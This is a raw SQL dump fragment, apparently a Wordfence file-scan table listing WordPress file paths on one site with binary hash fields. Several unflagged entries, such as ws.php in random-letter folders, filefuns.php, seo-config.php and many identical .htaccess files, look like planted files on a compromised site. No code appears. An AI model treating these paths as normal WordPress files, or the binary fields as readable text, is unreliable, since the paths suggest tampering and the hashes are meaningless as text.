('jtll&HN(54','wp-content/themes/twentytwentyone/assets/css/ie.css.map','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/ie.css.map',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h)ژ@ح\\@','Bșo$\'AdLxRU','',0,'?'),
('j4-O ՄrL\n','wp-content/plugins/wordfence/models/block/wfRateLimit.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/block/wfRateLimit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','29Q{\'Db2w','A152sN äUA-Vx','',0,'?'),
('jgs66$8*E','wp-includes/class-wp-dependency.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-dependency.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7RNFz$ҏa13','Q؇#?*7p@|XɖFӓ','',0,'?'),
('j-G{w_g}','wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/ws.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/ws.php',0,'^ÌV7m','^ÌV7m','	7*[!(]>Mޘ|΄$t','',0,'?'),
('j̡Y	{PW','wp-includes/theme-compat/oq1ieuz/xjpufdc/index.html','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('jdCT[^R','wp-includes/block-patterns/query-large-title-posts.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-large-title-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q$4-1e',',Ch1z`q\\2ߑ{]','',0,'?'),
('k$6O-Nx','wp-includes/js/tinymce/plugins/charmap/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/charmap/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=B쟄P\rL','x[G-90b.zGaz>r','',0,'?'),
('k)IaAC<','wp-content/themes/twentytwentythree/styles/aubergine.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/aubergine.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s7ҫ>5=I','D} j=\0	','',0,'?'),
('kBQoߐn','wp-includes/Requests/src/Session.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Session.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',:]_0+','67xuvOAHc\nd`Utm','',0,'?'),
('kEnfϋߟ\'qb','wp-includes/blocks/video/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rPi CIя','_NBԭEmX=zCr','',0,'?'),
('kGP\0B?@L','wp-includes/js/dist/script-modules/latex-to-mathml/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/latex-to-mathml/index.min.js',0,'8bF2mz\r\n˻','8bF2mz\r\n˻','kbѩ2H]#\\ҧA','',0,'?'),
('kM̙Ysp','wp-admin/credits.php','/home/trevorkl/trevorklee.com/wp-admin/credits.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pXڇ}T','C~\\\r\\2;:rw#-3s׸v','',0,'?'),
('km|Kma0\"*k','wp-admin/js/tags-suggest.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/tags-suggest.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6oW&9','hQWSx%&	$#8曵D','',0,'?'),
('kqK8P\0d.','wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/OFL.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/OFL.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T30rhD','O6lXӸ@ϗ檉FKH@','',0,'?'),
('kz!KՍj0mi+0','wp-content/themes/twentytwentyfive/parts/sidebar.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/sidebar.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.l	Mbbo-','I6À.QFJU։h,%\nyBQ_','',0,'?'),
('k Ƒ\0ݵcS','wp-admin/js/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/js/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('k맜~TR','wp-admin/css/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('kQd{EJ','wp-content/themes/twentytwentyfour/patterns/cta-subscribe-centered.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/cta-subscribe-centered.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2ue	 8J','h?RP:w1[.\0m	}K','',0,'?'),
('kgaFz7','wp-includes/Requests/src/Utility/InputValidator.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Utility/InputValidator.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U\rʮYe	Ll','a1Qau/dsLZvU','',0,'?'),
('kr1II3jsOg','wp-includes/js/tinymce/themes/modern/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/themes/modern/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('kB˞b=y','wp-includes/user.php','/home/trevorkl/trevorklee.com/wp-includes/user.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B|e\'','N]X<ȉ3@\na64bO݇9u','',0,'?'),
('kU/^ ','wp-content/plugins/wordfence/lib/rest-api/wfRESTAuthenticationController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/rest-api/wfRESTAuthenticationController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P4s4fnL/]','kP5\Z1Q1\n[F򁠊,','',0,'?'),
('k\'\n+&=n`3','wp-includes/js/dist/dom-ready.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/dom-ready.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>8H58nxm\'','@hUה{S=V>Co','',0,'?'),
('k^m\\','wp-includes/blocks/navigation-link/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S;cIv_hZH','qG@dꤑ,U`Ď','',0,'?'),
('l7N<߳VʦZ','wp-content/themes/twentytwentyone/inc/template-tags.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/template-tags.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yx7`;\rd','jI[Αm\'Ja<Z\Zܣ','',0,'?'),
('l/\nԀWͱ-c','wp-includes/widgets/class-wp-widget-recent-posts.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-recent-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I%*19','uכwxmI{cul','',0,'?'),
('l0:Da/L7a;','wp-includes/js/dist/preferences-persistence.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/preferences-persistence.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PNyW;y\Z, ','m5\"KkW\Zrߧ-+0]r͆&y','',0,'?'),
('l9=h,>&','wp-content/plugins/wordfence/lib/wfDiagnostic.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDiagnostic.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[4잉$De0b','\\Zj|GXbUBanO֒\"]~','',0,'?'),
('lZq#eS%s7Y','wp-includes/js/dist/notices.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/notices.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8(','9.tSb\r6DeEMN!','',0,'?'),
('lRM۳zt^o','wp-includes/js/dist/preferences.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/preferences.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pg,_0','$%F}vr*5T\'T|bEo','',0,'?'),
('lbɌr^z#','wp-content/themes/twentytwentyone/assets/sass/05-blocks/utilities/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/utilities/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}@\"O',',U<Ґ2zHwcB','',0,'?'),
('l#azkR','wp-includes/js/crop/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/crop/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('lSNVngy<','wp-includes/blocks/image/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','djvY#vc|/?޻d','H7%:6x:?ߕd>E','',0,'?'),
('l<#q,','wp-includes/blocks/archives/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vw-)OV','L_xI:\"xױ9W^ay','',0,'?'),
('l@1urtpK','wp-includes/blocks/image/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('l14&yaW','wp-includes/css/dist/customize-widgets/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/customize-widgets/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M[;Y\'Ȉ','[|@g5.\0yLBs','',0,'?'),
('l˖u\n[|y','wp-includes/html-api/class-wp-html-doctype-info.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-doctype-info.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xZiJuS','㋭&/+8:U}\\|L','',0,'?'),
('lōёpgS|','wp-content/themes/twentytwentyone/assets/sass/05-blocks/query-loop/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/query-loop/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~o L6','HvO#^[f8: M3M','',0,'?'),
('lŔ7','wp-content/themes/twentytwentythree/theme.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/theme.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}@DzkTb=','hV4Ο. P\0_b5','',0,'?'),
('l][Y*yJ(z','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBold.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBold.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+RxW2tm#F9','TR_nay_IGNV1','',0,'?'),
('m)\raHE','wp-includes/blocks/social-links/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-links/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S9Y)jډH','soWc+	Set+6@l|<','',0,'?'),
('mDTmsA}','wp-includes/certificates/ca-bundle.crt','/home/trevorkl/trevorklee.com/wp-includes/certificates/ca-bundle.crt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BQ6Bu','/Ǌ%t\"P~#ư\r[-','',0,'?'),
('m}uVlgx~','wp-includes/js/tinymce/plugins/fullscreen/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/fullscreen/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('m)?uB{S(J>4','wp-content/plugins/loginizer/lib/hybridauth/Exception/ExceptionInterface.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/ExceptionInterface.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k	B2\"0s\nJ','ZX^jDk\ZsOv+y?lM\'','',0,'?'),
('m+n3\n','filefuns.php','/home/trevorkl/trevorklee.com/filefuns.php',0,'p$1yo4_S*@','p$1yo4_S*@','Z sN_<Ɋi˻X\'\ZF7','',0,'?'),
('m@SΉ\r1et','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreMultisite.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreMultisite.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=[#W','pǗv9[m8A+\rOQ!A%','',0,'?'),
('mAYRb|S','wp-includes/ms-default-constants.php','/home/trevorkl/trevorklee.com/wp-includes/ms-default-constants.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yj0©_','rkEBf pL\ZJ','',0,'?'),
('mE\\)o','wp-includes/js/jquery/ui/spinner.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/spinner.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','QNDX(*?','䙨mJ\"\nCY\rit\"uM_9%','',0,'?'),
('mJG@z\'C;Qs!','wp-content/themes/twentytwentytwo/inc/patterns/page-about-simple-dark.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-simple-dark.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ZW./*','Mג9A78%<9x98Ƅ','',0,'?'),
('mTZ`xk<Y,/Ss','wp-includes/class-wpdb.php','/home/trevorkl/trevorklee.com/wp-includes/class-wpdb.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':iDʓE','N Ci2;_JmӀ8?','',0,'?'),
('mWX6f`x^m','wp-includes/class-wp-classic-to-block-menu-converter.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-classic-to-block-menu-converter.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rT;ߟ','Ш#K}~K&&\'_1wJ','',0,'?'),
('mY}ɽ?','wp-includes/js/jquery/jquery.ui.touch-punch.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.ui.touch-punch.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LmQ4փ]','k>jT@z՜.OBj0\'t','',0,'?'),
('mfeVS&ON','wp-content/themes/twentytwentyfive/assets/images/book-image-landing.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/book-image-landing.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',\0ɐ;%]	Od%','VV>PjOhͬxH̸뾕','',0,'?'),
('mqZOMP㋩','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordfence.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordfence.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eSɅ4K.','xx0kU^4ה9Vә2','',0,'?'),
('mwo,ED2','wp-includes/js/dist/script-modules/block-library/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('m\'֗[ڱ','wp-includes/Requests/src/Auth/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Auth/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('m-\Zm1w','wp-includes/js/jquery/ui/sortable.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/sortable.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aܟ\Zvɶ_۞N',')rAs`.HEB҃yJS#\"	p','',0,'?'),
('m&v\\zd','wp-content/plugins/wordfence/modules/login-security/img/checkbox.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/checkbox.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"G\r6|􈘀\'','y~`w(j~=뤼&ݴQ>`^x','',0,'?'),
('m;խr1','wp-content/themes/twentytwentytwo/inc/patterns/header-image-background.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-image-background.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3>v\\<v','K.D{\0<Mhzw6I\Z]M?','',0,'?'),
('m5)\'aH\r-','wp-includes/blocks/home-link/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/home-link/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9GxHD=s','B\"Μq\0Nk\"LUGv','',0,'?'),
('m>4ĩ\"l','wp-includes/js/imgareaselect/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/imgareaselect/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('m2z<@!','wp-includes/css/dist/preferences/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/preferences/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Չ6|yU1՘','\\BH#%Jf):,x','',0,'?'),
('nQʒ\'k\"%','wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+\rΠ;K۔b/','ߠP x|ΘQ=	TcvL\n*Ȱ','',0,'?'),
('nK\0r+MG','wp-includes/js/dist/script-modules/lazy-editor/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/lazy-editor/index.js',0,'\"B8Q|л','\"B8Q|л','n>yP:vP.	gs','',0,'?'),
('n]j7<3ISsQ','wp-admin/images/post-formats32-vs.png','/home/trevorkl/trevorklee.com/wp-admin/images/post-formats32-vs.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t.E5GN\Zv','(Z,ImY,·ԗtGa','',0,'?'),
('n#t=\'b]{','wp-includes/js/tinymce/themes/modern/theme.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/themes/modern/theme.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UE|h(Zf','ӣ	}ʫE0).TXKd~HNlK20','',0,'?'),
('n0<Pey\0.','wp-content/plugins/wordfence/modules/login-security/classes/model/style.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/style.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','΅\"5C~d','QSv6!Ї_NzMƙES|<C\'٩','',0,'?'),
('n?<}rm\'eq c','wp-includes/blocks/site-title/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w\ZgDokxl','OQ?vEo\0\ZҖ%\\H3','',0,'?'),
('nD1Y,\"Ofd','wp-content/plugins/wordfence/css/phpinfo.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/phpinfo.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>Q!0w/蓴','a@|I\r=\Z^εd)[W','',0,'?'),
('nQ󦣏/fO','wp-includes/js/tinymce/plugins/tabfocus/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/tabfocus/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('nY*I0s@','wp-admin/css/colors/ectoplasm/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ectoplasm/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('nZ/1T:{&^/n','wp-admin/js/media-gallery.js','/home/trevorkl/trevorklee.com/wp-admin/js/media-gallery.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_85o?','Ƥ$30IXC,b\"0lNF','',0,'?'),
('nkX*V\ZLd','wp-content/themes/twentytwentytwo/templates/page.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/page.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i]6aذ+e','\'ftgx9I8&l<	P\0\'\rQh(3','',0,'?'),
('nt=xY=ꦺQz','wp-content/plugins/loginizer/lib/hybridauth/Storage/Transient.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Storage/Transient.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F(KA/Cx','}>%bhDOTY\\ln','',0,'?'),
('nZvɌo/d{','wp-content/plugins/wordfence/modules/login-security/views/passkey/register-disabled.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/register-disabled.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӷ\ZYąBEu<','pNX4<O	Ț/i:\Z#','',0,'?'),
('ndLq7UM','wp-includes/Text/icatnpe/yrpuihc/yjqepgf/php.ini','/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/yrpuihc/yjqepgf/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('n@AF','wp-admin/network/sites.php','/home/trevorkl/trevorklee.com/wp-admin/network/sites.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L>!VMNյ','7^^;XL_jl&Xaj;n','',0,'?'),
('nj;Pm>','wp-content/plugins/wordfence/css/wf-adminbar.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-adminbar.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DRX','	A\Zc[Q75~:5','',0,'?'),
('noϧ`SR','wp-content/plugins/header-footer-code-manager/includes/class-hfcm-snippets-list.php','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/includes/class-hfcm-snippets-list.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','URbHļs{̖',';=#Z\"{V->§cdEa0','',0,'?'),
('nW΀)ʍfQХ-','wp-content/themes/twentytwentyfive/assets/images/man-in-hat.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/man-in-hat.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CKHp','*W]E^QstoAn','',0,'?'),
('nånxӽ0u','wp-includes/blocks/nextpage/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/nextpage/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ne;<','wp-content/themes/twentytwentyone/assets/sass/style-editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/style-editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2bk.8oUl','x?&\"BJ\Z	6Qf8E6^KUq\'O','',0,'?'),
('nкvnj=ͮ','wp-admin/includes/class-bulk-plugin-upgrader-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-bulk-plugin-upgrader-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n%ͤYm','qr؝(;2%`F6\Zw','',0,'?'),
('noy','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[9@\na8','{<ZNՅ3/ٴ\Z\r.P-+\"','',0,'?'),
('ndOMN','wp-includes/js/dist/script-modules/block-library/query/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/query/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('nui&(w*uɛ','wp-content/.rs_g2/index.html','/home/trevorkl/trevorklee.com/wp-content/.rs_g2/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('n,Q3bO','wp-includes/js/dist/warning.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/warning.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')i.^=q','p6;fjD|>_f))ޜTxP','',0,'?'),
('n09jv8\"','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/request.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/request.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R\'Ī~[','JvtAr6$ߨWRm','',0,'?'),
('nۗvXH)','wp-includes/sodium_compat/src/Core32/Curve25519/README.md','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/README.md',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Yϛvj\n','Sx^V>m!-qDeV','',0,'?'),
('o\Z]lm\";)}','wp-includes/js/dist/script-modules/block-library/image/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/image/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('oSron-_t`C','wp-admin/maint/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/maint/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('o\'RD-\0o','wp-content/plugins/wordfence/images/support.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/support.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Cl$rn<.','$MԮ&(ᩘs^	Ϣ*N','',0,'?'),
('o(b+(7G','wp-content/plugins/simpletoc/build/index-rtl.css','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/build/index-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C?irhO0Zm1Ơ','ͺ0C׷szPl10\r','',0,'?'),
('o1iL5z$7','wp-content/plugins/wordfence/modules/login-security/classes/model/compat.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u1\\8;#j-','P|l_Z3z<NɧK','',0,'?'),
('oC\"Qty','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/HChaCha20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/HChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1\\0י.	F~V','3z#zErGe.GH-K-a','',0,'?'),
('oPco.r','wp-includes/js/tinymce/skins/lightgray/img/object.gif','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/img/object.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rdPE}u\n/MA ','#;!I.>uʍSVm{|e-','',0,'?'),
('oS]~(7;\r','wp-includes/js/dist/shortcode.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/shortcode.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$0O2FwyE\0\'','BAVɀxEO]uq)T\\','',0,'?'),
('ofGkL`t@','wp-includes/blocks/cover/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',A{7d-','1m`jnp c4sG妏o&Km','',0,'?'),
('oq٦0HxhbpZ','wp-content/seo-config.php','/home/trevorkl/trevorklee.com/wp-content/seo-config.php',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('oyU/VR$*t','wp-includes/blocks/table/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('o|\Z@%dώ\"','wp-includes/blocks/categories/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('o}1=(E&RD_','wp-content/themes/twentytwentyfour/patterns/page-newsletter-landing.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-newsletter-landing.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9:\\iC-qiwk','1N݀\'3NŵFAM];1>.','',0,'?'),
('o}Njd_DyP','wp-includes/js/dist/script-modules/core-abilities/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/core-abilities/index.min.asset.php',0,'&R8?ϊq ]-','&R8?ϊq ]-','&0T/Ƿ04k4?\0d5-l','',0,'?'),
('o洵Nʎ&','wp-content/plugins/loginizer/lib/hybridauth/index.html','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/index.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ξ١c uj','LupIb\n=@\n.C1','',0,'?'),
